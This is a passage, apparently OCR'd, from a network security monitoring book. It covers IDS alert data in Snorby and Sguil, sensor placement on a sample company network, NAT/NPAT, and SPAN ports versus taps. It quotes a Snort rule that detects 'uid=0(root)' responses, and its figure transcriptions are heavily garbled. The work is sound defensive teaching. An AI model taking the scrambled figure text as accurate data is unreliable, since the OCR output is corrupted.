Listing 1-9: WHOIS output for domain
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The example in Listing 1-9 shows that the domain festmyids.com is regis-
tered to a user in Great Britain. This is public information that could prove
valuable if we need to better understand the nature of this website.

To understand more about the IP addresses in the examples, we might
want to analyze routing data to see how www.lestmyids.com connects to the
Internet. NSM analysts might use routing data to link various suspicious
IP addresses to each other. RobTex (http://www.robtex.com) otfers a free
resource to show routing data. Figure 1-14 shows its results for testmyids.com.

Figure 1-14 shows how the servers hosting testmyids.com relate to their
part of the Internet. We see that they ultimately get network connectivity via
AS number 8560, on the far right side of the diagram. An Autonomous System
(AS)is an aggregation of Internet routing prefixes controlled by a network.
By understanding this information, NSM analysts might link this site to oth-
ers on the same AS, or group of systems.

Many other forms of metadata can be derived from network traffic. We
conclude this section by looking at the application of threat intelligence to
network activity.

testmyids.com

testmyids.com
ux

2001:8d8fe:53::d9a0:51a9:100 TJ%R ns60.1andl.couk 2001:8d8:fe:53::d9a0:50a9:100

217.160.81.169

ared 33 An ac
Gougle” custom Search o Tweet|<0

iids.com.htmli#graph wve '

i Anal

up com

T
217.160.0.0/16
212.227.15.186

, 2171605131 A
FTR
W mx0l.landl.co.uk 1 212.227.15.134 Pmpﬁrgx-b kundenserver.de
A REET a3
mx00.1and1.co.uk A 21222715150 NEL 212227.0.0016 ‘Sas ASB560
A

212.227.15.168

NS

ns59.1and1.co.uk 4. 217.160.80.169 NET 217.160.80.0/22

NET
s N

Figure 1-14: Robtex routing information for testmyids.com domain

28

Chapter 1

Alert Data

Alert data reflects whether traffic triggers an alert in an NSM tool. An
intrusion detection system (IDS) is one source of alert data. Snort (http://
www.snort.org/) and Suricata (http://suricata-ids.org/) are two popular open
source IDSs. These tools watch and interpret network traffic, and create a
message when they see something they are programmed to report. These
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alerts are based on patterns of bytes, or counts of activity, or even more
complicated options that look deeply into packets and streams on the wire.

Analysts can review alert data in consoles like Sguil or Snorby (Attp://
www.snorby.org/). For example, Figure 1-15 shows a Snorby screen displaying
the details of an IDS alert triggered by visiting Attp://www.testmyids.com/, and
Figure 1-16 shows what Sguil displays.

Snorby Al About Swgiciy’

GPLATTIACK_RESPONSE id chec... 1 sentioun

2] Hotkeys Classify Event(s) : More Options

Source IP Destination IP Event Signature Timestamp

GPL ATTACK_RES 2ck returned root 7:09 PM

IP Header Information

Source Destination

| 217.160.51.31 @ |

Signature Information

Generator ID Sig. 1D Sig. Revision

1 2100498
TCP Header Information

Sre Port Dst Port Seq

41482 272838781

. sovm-eth1:1 192 S

[ 192168238 152 @ |

Activity (11532)

Perform Mass Classification

Category

bad-unknown

Ack

953674844

Packet Capture Options

Flags Ooff TTL

Sig Info

Event Export Options

Proto

Permalink

Csum

| Query Signature Database |

| view Rule |

Add A Note To This Event

HTTP/1.1.200.0K. .Date: .Wed
+-16.Jan.2013.19:09:47 .GMT
. .Server: .Apache. . Last-Mod
ified:.Mon, .15.Jan.2007.23
:11:55.QMT. .ETag: . "61c22f2
2-27-4271c5f1acdcl"”. .Accep
t-Ranges:.bytes. .Content-L
ength:.39..Keep-Alive:.tim
eout=2, .max=200. .Connectio
n:.Keep-Alive. .Content-Typ
e:.text/html....uid=0(root
) .gid=0 (root) .groups=0{roo
£) %

Figure 1-15: Snorby alert data

In a single console, Snorby collects a wealth of information, such as the
IP addresses involved with the connection and the packet that generated the
alert. Snorby also gives analysts the ability to search for related data and make
incident classification and management decisions based on what they see.

Sguil captures much of the same information as shown by Snorby. The
difference is that Snorby is a web-based tool, whereas Sguil is a “thick client”
that users install on their desktops. Both sorts of NSM tools display alerts by
correlating known or suspected malicious data with network activity.
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]

SGUIL-0.8.0'- Connected To/localhost
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2

& o B

2013-01-16 22:09:05 GMT‘

X

t1D
3.553

sovm-eth... 2013-01-1619:09:47  217.160.51.31

3.553

80 192.168.238.152

1P Resolution

[¥ Reverse DNS [ Enable External DNS
Src 1P 217.160.51.31
Src Name: |5193738556.websitehome.co.uk

DstIP:
Dst Name:

192.168.238.152

Unknown

Whois Query: © None @ SrcIP © DstIP

% This is the RIPE Database query service. =
% The objects are in RPSL format.

[+ Show Packet Data ¥ Show Rule

alert ip any any ->any any (msg:"GPL ATTACK_RESPONSE id check returned root";
content:"uid=0|28|root|29|"; fast_pattern:only; classtype:bad-unknown; sid:2100498; rev:8;)
’'nsm/server_data/securityonion/rules/sovm-eth1-1/downloaded.rules: Line 13482

Source IP DestIP Ver HL TOS len

e
1D Flags Offset TTL ChkSum

[217.160.51.31  [192.168.238.152 [4 [5 fo [355 [s15a o o [128 [23004

UAPRSF
Source Dest RRRCSSY 1

% Port Port TOGKHTNN Seq# Ack #  Offset Res Window Urp ChkSum
9 The RIPE Database is subject to Terms and Conditions. |30 [atas2]. | | [x[x|. |. | [272838781 [053674844 5 o (64240 [0 [34037
% See http://www.ripe.net/db/support/db-terms-conditions. pdf 48 54 54 50 2F 31 2C 31 20 32 30 30 20 aF 48 00 |HI1P/1.1 200 ok, O
0A 44 61 74 65 3A 20 57 65 64 2C 20 31 36 20 4A |.Date: Wed, 16 J
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admin-cc.  RMEQ-RIPE Search Packet Payload | " Hex ® Text [ MNoCase
Figure 1-16: Sguil alert data

In the previous examples, the Snort IDS generated GPL ATTACK_RESPONSE
id check returned root alerts as a result of a user visiting the http://www
.testmyids.com/ website. It’s up to the analyst to decide if this is benign, suspi-
cious, or malicious. How to obtain data, use the tools, and operate a process
to make this decision is the focus of this book, and I answer these questions
in the chapters that follow.

What’s the Point of All This Data?

The variety and diversity of NSM data equips CIRTs to detect, respond to,
and contain intruders in a manner that complements the efforts of other
tools and systems. NSM can make it possible for analysts to discover and act
on intrusions early on in the process, and to use retrospective security analysis
(RSA) to apply newly discovered threat intelligence to previously collected
data in hopes of finding intruders who evaded earlier detection. NSM also
gives analysts the data they need for postmortem analysis, which is an exami-
nation following incident resolution.

If T had to leave you with one critical lesson from doing NSM opera-
tions, it’s this: The best way to use network-centric data to detect and
respond to intrusions is to collect, analyze, and escalate as much evidence
as your technical, legal, and political constraints allow. This means doing
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more than waiting for an IDS to trigger an alert, or beginning to collect
more information about an incident only after an IDS triggers an alert.
Successful NSM operations are always collecting multiple forms of NSM
data, using some of it for matching activities (via IDS and related systems)
and hunting activities (via human review of NSM data). (I'll explain these
methods in Chapters 9, 10, and 11.)

The most sophisticated intruders know how to evade IDS signatures
and traditional analysis. Only by equipping a CIRT’s analysts with the full
range of NSM data can you have the best chance of using network-centric
evidence to foil those sorts of adversaries. NSM data, and analysts who put
it to maximum use, has helped organizations of all sizes and complexities
counter a wide range of intruders since the technology and methodology
evolved in the 1990s. Despite challenges posed by increasing intruder skill,
widespread adoption of encryption, and increasing bandwidth, NSM con-
tinues to be a scalable and cost-effective security measure.

NSM Drawbacks

It would not be fair to discuss all the positives of the NSM experience with-
out mentioning a few drawbacks. NSM encounters difficulty when faced
with one or more of the following situations.

e Network traffic is encrypted, thus denying access to content. When vir-
tual private networks (VPNs) are active, even source and destination IP
addresses may be obscured.

e Network architecture, such as heavy and repeated use of network address
translation (NAT) technologies, may obscure source and destination IP
addresses.

e Highly mobile platforms may never use a segment monitored by the
NSM platform, thereby failing to generate traffic that the CIRT can
analyze for malicious activity.

e Extreme traffic volume may overwhelm NSM platforms, or at least
require more hardware than the CIRT may have anticipated deploying.

e Privacy concerns may limit access to the sorts of traffic required for real
NSM effectiveness.

Those are all accurate descriptions, and other drawbacks probably
exist. Chapter 2 discusses how to address some of them. However, in the
many years since 1998 when I first learned NSM principles, the system has
always benefited my network intrusion detection and response work.

Where Can | Buy NSM?

Perhaps by now you’re ready to write a check for a vendor who will ship
you a shiny “NSM in a box,” ready to conquer evil on your network.
Unfortunately, there’s more to NSM than software and data.
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NSM is an operation that also relies on people and processes. The pri-
mary purpose of this book is to help you understand NSM and begin an
operation as quickly and efficiently as possible.

A secondary purpose of this book is to help you be able to identify NSM
operations when you see them. For example, you may find vendors offering
“NSM?” services, but you aren’t sure whether they’ve just adopted the lingo
without actually implementing the operation. Using this book, you can
determine whether they’re running a real NSM shop.

Where Can | Go for Support or More Information?

There is no international NSM organization, nor any NSM clubs. Perhaps
it’s time to start one! Additional resources for learning more about NSM
include the following:

e The NSM wiki (Attp://nsmwiki.org/), maintained by David Bianco
e The #snort-gui Internet Relay Chat (IRC) channel on Freenode

e The Security Onion website (http://securityonion.blogspot.com/) and mail-
ing lists (http://code.google.com/p/security-onion/wiki/Mailinglists)

e Members of the NetworkSecurityMonitoring list on Twitter (https://twitter
.com/taosecurity/networksecuritymonitoring/members), some of whom also
operate blogs (linked from their Twitter profiles)

e My other books on the topic (listed in the preface)

Conclusion

Chapter 1

This chapter introduced the principles of NSM. Along the way, we looked
at a true case study, discussed how NSM fits into existing architectures and
tools, and surveyed various forms of NSM data. You may feel overwhelmed
by the introduction of numerous tools, datatypes, and concepts in this
chapter. That’s why I wrote the rest of this book! After practicing, teaching,
and writing about NSM since 1999, I've learned that taking an incremental
approach is the best way to get colleagues, students, and readers comfort-
able with NSM.

My goal has been to give you an overall feel for how NSM differs
from other security approaches. NSM is a model for action, with network-
derived data at the heart of the operations. NSM recognizes that time is
the most important element in security, as demonstrated by the state of
South Carolina DoR case study. CIRTs and analysts rely on a variety of
NSM datatypes, not just packets captured from the wire.

In the rest of the book, I will help you get a basic NSM operation run-
ning. I’ll show you where to deploy sensors, how they work, what data they
collect and interpret, and how to use that data to find intruders. Let’s go!
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COLLECTING NETWORK TRAFFIC:

ACCESS, STORAGE, AND
A )
\/

Chapter 1 introduced the rationale for
NSM. In this chapter, you'll learn the
details of collecting network traffic, spe-

MANAGEMENT
-

cifically as they relate to access, storage, and
management. Consistent with the overall theme of
this book, this chapter is not an in-depth study of the
topic, but rather a guide to help you identify where
to put your first sensor and get started collecting net-
work traffic.

A Sample Network for a Pilot NSM System

Chapter 1 introduced a simple network that could require NSM visibility,

as reproduced in Figure 2-1. Each “cloud” in the network represents an
infrastructure that can send or receive network traffic—devices such as lap-
tops, workstations, servers, smartphones, and tablets. This sample network
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Chapter 2

is complicated enough to present some challenges to the CIRT, but not so
complex as to make a beginner’s decisions exceptionally difficult. We’ll use
this network for our chapter’s example, and call the company running this
network Vivian’s Pets, Inc. The Vivian’s Pets” CIRT has decided to try a pilot
NSM operation.

Wireless
Network

Internal
Network

Figure 2-1: Vivian’s Pets network

Figure 2-1 (a modified version of Figure 1-4) is composed of four
“zones,” connected to one another by various networking devices, as shown
in Figure 2-2. The firewall at the center is an access control and routing
device. The switches connected to the firewall allow access for servers and
workstations. The wireless access point offers Wi-Fi connectivity. The exter-
nal gateway connects to the Internet.

Networks in a production environment can be much more complicated than the
simple network in our example. You will encounter discussions of network tiers, core
switches, edge routers, multiple firewalls, gateways, and so on. However, rather than
go into the many details of networking, my goal is to explain how to think about this
problem. By understanding the thought process behind network instrumentation, you
can apply those lessons to your own environment.

The Vivian’s Pets CIRT understands that they are trying to detect and
respond to intruders, but they must decide what sort of network traffic they
need to monitor in order to accomplish their objective. The process begins
with choosing where on the network to start collecting traffic. That point is
where they will deploy their first NSM sensor.
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Other networks with
servers, networking
gear, efc.

Laptops, mobile

devices, efc. Servers

Wireless
Network

Wireless access
point

Firewall

NSM platform

Laptops, workstations,
other networks, net-
working gear, efc.

Internal
Network

Figure 2-2: Vivian's Pets networking elements

Traffic Flow in a Simple Network

In order to properly locate monitoring devices, you need to understand
network traffic flow. This will give you an idea of the visibility options asso-
ciated with the locations of your sensors.

To start, Figure 2-3 shows an example of network traffic with a simple,
direct path—from a workstation in the internal network to a web server on
the Internet.

The dashed line in Figure 2-3 traces the path from the workstation
to the web server. The dotted line shows the path of a reply from the web
server to the workstation. In order to capture data along either path, we
need to deploy the NSM platform appropriately within that path. Vivian’s
Pets only has access to and authority over the network it owns. The bound-
ary is its external gateway.

In Figure 2-4, the path from the firewall to the web server is the same
as in Figure 2-3, except that we have a different starting point: the wireless
network. The traffic exists in wireless form as radio waves when the laptop
communicates with the wireless access point. The traffic then takes the form
of light over fiber optic cable or electrons over copper cable as it traverses
the wired network.

Monitoring wireless traffic is much more difficult than monitoring
wired traffic because, unlike wired traffic, wireless traffic on a well-run
network is likely to be encrypted at a low level. Application data may be fur-
ther encrypted on either type of network, but wired networks are still much
easier to observe than properly configured wireless ones.
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Web server

Wireless
Network

Workstation

Figure 2-3: Network path from the workstation to the web server on the Internet

Web server

Wireless
Network

Internal
Network

Figure 2-4: Network path from a laptop to a web server on the Internet
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On the other hand, tracing activity involving a DMZ network is a bit
more complex because the source of the activity could be a computer on
the local DMZ network or one on the Internet. Let’s start with the DMZ net-
work case.

Imagine that a DNS server in the DMZ network wants to connect to a
DNS server on the Internet. Figure 2-5 shows the traffic flow, which looks
similar to the previous examples. The DNS server in the DMZ network makes
a request of some type—perhaps to resolve a hostname to an IP address. The
traffic traverses the access switch, passes through the firewall, and heads out
to the Internet. When the DNS server on the Internet receives the request,
it responds with a reply that will take roughly the same path, but in reverse.

DNS server

DNS server

Request

Wireless
Network

Internal
Network

Figure 2-5: Network path from a local DNS server to a DNS server on the Internet

Now imagine that a web browser belonging to an Internet user wants
to connect to a web server hosted by Vivian’s Pets. The web server resides
in the DMZ network. Figure 2-6 shows how the request and replies move
through the network. The web browser creates a request (such as a GET or
POST) that heads toward the Vivian’s Pets network, as shown by the dashed
line. The network must allow this request to pass its external gateway, exter-
nal switch, firewall, and DMZ switch, and finally find its way to a web server
on the DMZ network. It responds with an HTTP reply, which, as shown by
the dotted line, follows the reverse path to reach the web browser.

This last case is the only one we’ve seen thus far where a computer on
the Internet needs to initiate a connection to a computer hosted in one of
Vivian’s Pets network zones.

Collecting Network Traffic: Access, Storage, and Management 37

www.it-ebooks.info


http://www.it-ebooks.info/

38

Chapter 2

Request

Web browser

Web server

Wireless
Network

Internal
Network

Figure 2-6: Network path from a web browser on the Internet to a web server hosted by
Vivian's Pets

Possible Locations for NSM

There are several other reasons for traffic to flow into or out of the Vivian’s
Pets network, such as the following:

e  Users on the internal network might access resources in the DMZ
network.

e Users on the wireless network might access resources in the DMZ network.

e  Systems in the DMZ network might access resources in the internal
network.

e Systems in the wireless network might access resources in the internal
network.

All of these situations could influence the placement of your NSM
platform. NSM platforms, meaning the actual hardware and software to
implement monitoring, are discussed in “Choosing an NSM Platform” on
page 49.

One goal of analyzing the network is to identify any computers or appli-
cations that might be compromised. Given the previous analysis, where on
the network should we collect network traffic? Figure 2-7 shows nine pos-
sible locations, labeled A through I, for NSM platform placement.
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Wireless
Network

Internal
Network

Figure 2-7: Monitoring location options

In order to see network traffic from the internal, wireless, and DMZ
networks, it seems like C, D, or E would be good options, because all three
sit along the path into and out of the Vivian’s Pets network. How do we
decide which location is best?

An important consideration when choosing NSM platform placement is
the role of network addressing, which we’ll look at next.

IP Addresses and Network Address Translation

When setting up NSM operations, it’s important to know which computers
you’re monitoring, including the IP addresses assigned to computers, and
how other network devices see and change them. These are key factors in
deciding where to place sensors.

Net Blocks

Figure 2-8 shows the IP address net blocks used by Vivian’s Pets in each seg-
ment of the company network diagram. IP address net blocks are groups of
addresses assigned to segments. Individual interfaces on computers and
network devices will have one or more IP addresses assigned from these
net blocks.
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198.51.100.0/24

172.16.0.0/12 192.168.2.0/24

Wireless
Network

Internal

10.0.0.0/8 Network

Figure 2-8: Net blocks assigned to segments

As you can see in the figure, the IP address net blocks are assigned as
follows:

e The IP addresses used by the external gateway belong to the
198.51.100.0/24 net block, which is a net block reserved for example
networks. (Real-world networks do not use “example” net blocks in pro-
duction, but these addresses are perfect for documents like this book.)

e Devices between the external gateway and the firewall have IP addresses
in the 192.168.1.0/24 net block, which belong to a set reserved for private
internal use.

e Nodes on the wireless network have IP addresses from the 172.16.0.0/12
net block, which is reserved for private use.

e Servers in the DMZ network have IP addresses in the 192.168.2.0/24
net block, which is also a reserved private range.

e Internal network hosts have IP addresses from another private reserved
net block: 10.0.0.0/8.

The network administrator for Vivian’s Pets assigned the IP addresses
used internally, and the administrator received an allocation for an exter-
nal range from the American Registry for Internet Numbers (ARIN), which
is the Regional Internet Registry (RIR) for the United States and Canada
(and some other locations).
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IP Address Assignments

Now that you understand the net block arrangements, we can see which
individual IP addresses are used on the Vivian’s Pets network. Again, the
company’s network administrator made these decisions in concert with
the owners of the computing devices. Figure 2-9 shows IP address assign-
ments to some of the key devices in the network.

198.51.100.1 | 198.51.100.0/24

172.16.0.0/12 192.168.2.0/24

Wireless
Network

172.16.0.4

10.0.0.6
Int | =
nterna ~
10.0.0.0/8 Network /(@)

Figure 2-9: IP addresses assigned to key devices

As you can see, the external gateway, or Internet-facing router, has
two interfaces:

e The public interface facing the Internet, called its external address,
is 198.51.100.1.

e The address it shows to the company, called its internal addvress, is
192.168.1.2.

The firewall has four interfaces:

e The interface facing the external gateway and Internet is 192.168.1.3.
e The interface facing the wireless network is 172.16.0.4.
e The interface facing the DMZ is 192.168.2.5.

e The interface facing the internal network is 10.0.0.6.
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Address Translation

Networks with a mix of public and private IP addresses likely use a translation
mechanism that allows devices to communicate with one another. Because
computers on the Internet can’t talk to the wireless, DMZ, or internal net-
works directly, some sort of device—a firewall or gateway router—is used to
perform some form of translation to allow a company’s computers to talk to
the Internet, and vice versa.

The Internet was designed as an end-to-end network, populated by com-
puters and networking devices with universally unique, publicly allocated IP
addresses. However, the modern Internet doesn’t look that way at all. In order
to cope with growth, modern networks use private addresses like those seen
in Vivian’s Pets. Translation allows private IP addresses to “pretend” to be
public addresses for the purpose of Internet connectivity. This trickery means
we’ll need to get creative when making NSM placement decisions.

Network Address Translation

Why not just use public IP addresses for each device, rather than deal with
address translation? As you probably know, IPv4 addresses are scarce. They
are basically all allocated, so it’s no longer possible for organizations just
connecting to the Internet to acquire a large block of public IP addresses.
Most organizations resort to using private IP addresses internally, and save
public IP addresses for computers directly connected to the Internet that
truly need them.

Understanding translation is key to making NSM platform deployment
decisions. First, consider traffic entering and exiting the DMZ network.
Computers on this network will initiate outbound requests and accept
inbound ones. Network administrators will use a form of translation called
network address translation, or NAT, to make this happen. For example, the
firewall might be configured as a NAT device, with the IP addresses of
devices on each network translated as they exit the firewall.

For our sample network, consider the web server in the DMZ network
with IP address 192.168.2.100, as shown in Figure 2-10. When traffic flows
through the firewall, the firewall rewrites, or translates, the IP address of
the web server to a different value—in this case, 192.168.1.100. The fire-
wall maintains a table that tells it that the address it created for web server
192.168.1.100 is the same as 192.168.2.100. Similarly, when traffic flows
through the external gateway, the external gateway rewrites what it sees as
the web server’s IP address (192.168.1.100) to 198.51.100.100.

Now, thanks to NAT, computers on the Internet can reach the company’s
web server. Because 198.51.100.100 is a public IP address that can be routed
on the Internet, traffic initiated by the web server or a computer on the
Internet can reach its intended destinations. Figure 2-10 shows this progres-
sion of IP address rewrites at the firewall and external gateway.
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192.168.2.100
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Wireless
Network
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Network

Figure 2-10: NAT of the web server in the DMZ network

These NAT mappings allow the web server to route traffic properly.
Administrators maintaining these networks must set up similar mappings
for all servers in the DMZ network that use address translation. This is an
expensive technique that consumes one scarce public IP address for every
server in the DMZ with similar requirements. For this reason, we turn to a
different translation technique when dealing with computers in the wireless
and internal networks.

Address Translation in Wireless and Internal Networks

Computers in wireless and internal networks communicate differently from
servers in DMZ networks. While wireless and internal computers initiate traf-
fic to the Internet, they should not accept traffic from the Internet. Because
we are trying to conserve scarce public IP addresses, this “outbound-only”
communication pattern actually helps us stay within our IP address con-
straints. For these types of networks, network administrators often use a
form of translation called network port address translation (referred to as
NPAT or PAT).

When using NPAT, each translation device rewrites the wireless or inter-
nal source IP address to be a single IP value, and uses changing source ports
to differentiate among sending computers. As with NAT, each translation
device maintains a table to track any changes. Computers use the combina-
tion of source IP address, source port, destination IP address, destination
port, and IP protocol to identify unique connections. Ports are the key in
the translation process, as they permit several private IP addresses to be
hidden behind a single public IP address.
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To understand NPAT, consider a laptop on the wireless network with IP
address 172.16.1.50 that initiates outbound traffic to the Internet, as shown
in Figure 2-11. As traffic passes through the firewall and heads toward the
external gateway and Internet, the source IP address will be 192.168.1.3,
with source port 1977. The firewall keeps an NPAT table linking the lap-
top’s assigned IP address of 192.168.1.3 to its real IP address of 172.16.1.50.
However, the IP address 192.168.1.3 is still a private IP address that cannot
be routed on the Internet.

“Laptop”
198.51.100.1
Port 7704

“Laptop”
192.168.1.3
Port 1977

Wireless
Network

Laptop
172.16.1.50

Internal
Network

Figure 2-11: NPAT of a laptop in a wireless network

To address this situation, network administrators configure a second
level of NPAT on the external gateway. Traffic leaving the firewall and enter-
ing the gateway from the wireless and internal networks will show the laptop’s
source IP address as 192.168.1.3. When it’s used to pass traffic, the NPAT
configuration on the gateway will translate to have the source IP address
of 198.51.100.1. The gateway assigns port 7704 to the source of the connec-
tion as a way to track the conversation initiated by the laptop. As a result,
computers on the Internet will see all traffic from the laptop and other
wireless and internal network computers as having source IP addresses of
198.51.100.1.

It’s important to keep in mind that the NPAT tables must be set for
every connection involving every computer in the wireless and internal
networks. This essentially trades a lack of public IP addresses for load on
the firewall and gateway, which must constantly rewrite source IP addresses
and ports. However, millions of networks around the world rely on these
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techniques to maintain connectivity. Many networks are far more complicated,
with even more levels of NAT, NPAT, and other complex techniques. This
reality has profound effects on your choices regarding sensor placement.

Choosing the Best Place to Obtain Network Visibility

Now that we’ve covered the IP addresses and networks used in the Vivian’s
Pets network, we need to decide which assets to observe on the network.
When we select a network monitoring location, we are choosing a place that
will provide copies of network traffic in transit.

Before we knew about net blocks and NAT/NPAT configuration, it
seemed that locations C, D, or E were equally good options to see network
traffic from the internal, wireless, and DMZ networks (see Figure 2-7). Each
saw traffic as it left Vivian’s Pets on its way to the Internet as well as on its
way back from the Internet. But as it turns out, locations C, D, and E are
not good choices for observing traffic that stays within the company.

Now let’s examine which source IP addresses would be seen at each
location, and determine their potential value. (Remember that source
addresses are important because they help us identify the Vivian’s Pets
computer or computers affected by attacks.)

Location for DMZ Network Traffic

First, consider the communications involving the DMZ network. Because
the DMZ network uses NAT, with essentially one-for-one mappings between
IP addresses, locations C, D, and E offer similar visibility options. Although
the source IP address for DMZ servers depends on where the NSM plat-
form is looking, the one-to-one mapping makes it easy to determine

that 198.51.100.100 is the same as 192.168.1.100, which is the same as
192.168.2.100.

Some systems in the DMZ network might not be configured with one-
to-one mapping. Watch for these configurations, and handle them accord-
ing to the following guidance for wireless and internal networks.

From the perspective of the DMZ network, the main difference between
these locations is the filtering or blocking policy in place on the external
gateway and firewall. Each device is likely denying some subset of non-
essential traffic using an access control list or other type of traffic filter. (An
access control list is a set of instructions applied to a gateway or firewall to
control the sort of traffic allowed through a network device.)

Locations for Viewing the Wireless and Internal Network Traffic

Unfortunately, the world is not so simple when considering computers in
wireless and internal networks. Because NPAT is used, there is no constant,
easy-to-understand IP address mapping. How does a wireless or internal
network computer look when connecting to the Internet, as seen from loca-
tions C, D, and E?
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Location C This is at the firewall’s interface facing the Internet. All
NPAT’d traffic has a source IP address of 192.168.1.3.

Location D This is between the firewall’s interface facing the Internet
and the gateway’s interface facing the company. All NPAT’d traffic also
has a source IP address of 192.168.1.3.

Location E This is between the gateway’s interface facing the
Internet and the Internet. All NPAT’d traffic has a source IP address
of 198.51.100.1.

As you can see, none of these three locations permits us to see the true
source IP address of a compromised computer in wireless or internal net-
works. NPAT obscures the true source IP address. The true destination IP
address will be visible at all three locations, but that doesn’t necessarily help
us identify compromised computers.

It’s time to return to the diagram in Figure 2-7 to see if any other loca-
tion will give us the data we need to find compromised wireless or internal
network computers using true source IP addresses. Unfortunately, we find
that there is no single place that will let us see true source IP addresses
from the wireless, internal, and DMZ networks. Of course, we could alter
the configuration of the firewall itself to send copies of network traffic from
all three segments to an NSM platform, but that would make security engi-
neers and administrators nervous. Instead, we could use the following sen-
sor deployment strategy for our network, as shown in Figure 2-12.

e To see the true source IP addresses from the wireless network, deploy
an NSM platform at G.

e To see the true source IP addresses from the internal network, deploy
an NSM platform at B.

e To see the true source IP addresses from the DMZ network, deploy
an NSM platform at H. (Locations C, D, or E are also options, but H
matches the spirit of the previous two recommendations.)

By adopting this deployment scheme, we can see traffic with true source IP
addresses, which makes it a lot easier to identify compromised computers.

What about destination IP addresses? NSM practitioners also like to see
the true destination IP address of network traffic in order to identify sus-
picious and malicious traffic by destination alone. For example, we might
conclude that any computer talking to 203.0.113.1 is compromised because
203.0.113.1 is controlled by an adversary.

In our network, locations G, B, and H will see true destination IP
addresses as well as true source IP addresses. In other networks, this may
not be the case, and we might need to deploy yet another NSM platform to
see traffic at location E, as close to the Internet as possible. We can ignore
that scenario here, but you may encounter it in the real world when enter-
prises deploy proxy servers for all outbound traffic. On those networks,
the observed destination IP address is that of the company proxy, and the
application information visible to the proxy contains the true destination
IP address. Chapter 13 explains how to cope with network proxies.
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Figure 2-12: locations G, B, and H provide true company source IP address visibility

Getting Physical Access to the Traffic

Deploying sensors with visibility at locations G, B, and H will make us
happy, but how do we get physical access to the network traffic flowing over
the cables at those locations? Choosing the right place to obtain network
visibility is only the first step in our deployment process. The next step is
deciding how to physically access network traffic.

There are two main options in modern networks where copper or fiber
optic cables carry network traffic: using features of the existing network
infrastructure or adding a new piece of hardware. We’ll discuss using exist-
ing features first.

Using Switches for Traffic Monitoring

As shown in Figure 2-13, the Vivian’s Pets network includes several switches.
Notice the switch to the left of location G and the firewall to the right.
Location H is similar, with the firewall to the left and a switch to the
right. Location B shows a firewall above and a switch below. Figure 2-13
shows three points of interest, the switch uplinks labeled S1, S2, and S3,
next to each switch that’s closest to the firewall. We can use these switches
to observe network traffic.

These three switch interfaces are uplinks to the firewall that see all traffic
passing through the switch to and from the firewall.
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Figure 2-13: Details of visibility locations G, B, and H

Using features available in all enterprise network switches, we can con-
figure these switch ports to send copies of the traffic they see to an other-
wise unused switch port. Cisco calls this technique the Switched Port Analyzer
(SPAN). Juniper and Dell use the term port mirroring.l

No matter the name, these technologies provide a copy of network traffic
to the SPAN or mirror port, allowing the NSM platform to see the traffic.

Using a Network Tap

Another option for network visibility involves introducing a new piece of
network infrastructure: the network tap, as shown in Figure 2-14. Rather
than configuring switch ports, network administrators can deploy physical
tap hardware at locations G, B, and H, with one tap at each location. These
taps keep the traffic flowing between the switches and firewall, even if their
dual power supplies fail. The taps provide separate ports with copies of net-
work traffic suitable for consumption by an NSM platform.

Figure 2-14 shows three cables, labeled left to right as R01, R02, and
blank attached to a Net Optics iTap Port Aggregator. The aggregator com-
bines copies of traffic seen on the two left ports and sends a single output to
each of the two right ports. In other words, cable R01 would be connected
to one of the switches—say the one connected to location G—while cable
RO2 would be connected to switch uplink S1. The rightmost cable would be
connected to the NSM platform. (We would need to tap locations H and B
as well with more cables, deployed similarly.)

1. All three vendors provide documentation on how to configure SPAN or port mirroring on
their enterprise switches. Cisco posts SPAN documentation at Attp://www.cisco.com/en/US/
products/hw/switches/ps708 /products_tech_note09186a008015¢612.shiml. Juniper posts port mir-
roring documentation at http://www.juniper.net/techpubs/en_US/junos10.1/topics/usage-guidelines/
policy-configuring-port-mirroring.himl. Dell posts port mirroring documentation at https://
support.dell.com/support/edocs/network/5p788 /clig/mirror. him.
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Figure 2-14: A network tap

Capturing Traffic Directly on a Client or Server

While SPAN ports and network taps are the two main choices for accessing
traffic, two others techniques involve collecting NSM data directly on a net-
working or security infrastructure, or on a client or server.

Collecting data on a network or security device means capturing traffic
on a system like a firewall or router. This is usually not a viable, long-term
solution because these filtering and routing platforms are not typically
equipped with robust storage media. They may offer temporary trouble-
shooting opportunities, but unless they are designed for collection, they
are best left to their primary duties.

Collecting NSM data on an endpoint, such as a laptop or server, is
another option. Collection on servers may be the only option for CIRTs,
especially when those servers are in the cloud. Laptops and workstations
might offer temporary buffers for logging NSM data, but these are less
likely to collect the sort of long-term data associated with NSM platforms
watching a wire directly.

Choosing an NSM Platform

Having selected our monitoring locations and methods for the Vivian’s Pets
network, we turn our attention to the NSM platform itself—the server that
we connect to the network tap. This server will run NSM tools to collect and
analyze network traffic. Security analysts will interpret the data provided by
the NSM platform in order to detect, respond to, and contain intrusions.
The server can be a commercial appliance, a self-built system, or even a vir-
tual machine.
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SPAN PORTS OR TAPS?

Network and security engineers sometimes fight “religious wars” regarding the
use of SPAN ports or network taps. Even when they agree that a network tap is
the preferred solution, the exact type of hardware can be another source of dis-
cussion. Using three separate taps is far from the only option. Vendors offer a
wide variety of configurations, each with different costs and benefits. The three-
tap solution shown in Figure 2-14 is the simplest because it avoids introducing a
single point of failure, while building visibility into the network.

| prefer network taps over SPAN ports because it's foo easy to misconfigure
SPAN ports, and once they're configured, it's too easy to have them disconnected
for other troubleshooting purposes. Even intruders could disable a SPAN port in
order to hide some of their activities! Furthermore, it is possible to “oversubscribe”
SPAN ports, meaning an administrator sends too much traffic to the port con-
figured to mirror traffic. While this can happen with network taps, it is easier to
engineer a tapping solution to avoid this problem.

When network administrators accept a tap into their environment, it's seen
as a commitment to building visibility into the network. | recommend that all new
network segments have visibility built into their design, with taps the preferred
solution. Be sure to choose a vendor with a solid reputation for engineering,
production, and customer service. You don't want a device designed for visibil-
ity to be the reason your network is down!

Typical NSM platforms have the following characteristics:

e Large amounts of hard disk space, in a Redundant Array of Independent
Disks (RAID) configuration for storing network traffic and associated
NSM data

e A minimum of 4GB of RAM, with at least IGB more RAM for every
interface connected to a SPAN port or network tap

e One CPU core per monitored interface

e Multiple network interfaces, with the appropriate number and media
type required by the SPAN ports or network taps

Selecting the hard drive space is one of the toughest choices. Often,
security administrators will start with a budget of costs allocated per NSM
platform, which allows them to buy a server with only a certain amount of
hard drive space and memory. Buy the maximum amount of hard drive
space you can afford, followed by as much RAM as you can afford.

Because no two networks are the same, the best way to size a sensor is to
learn by doing in your own environment. Some NSM platforms store a lot of
full content data in pcap file format. Some use logs stored in databases and
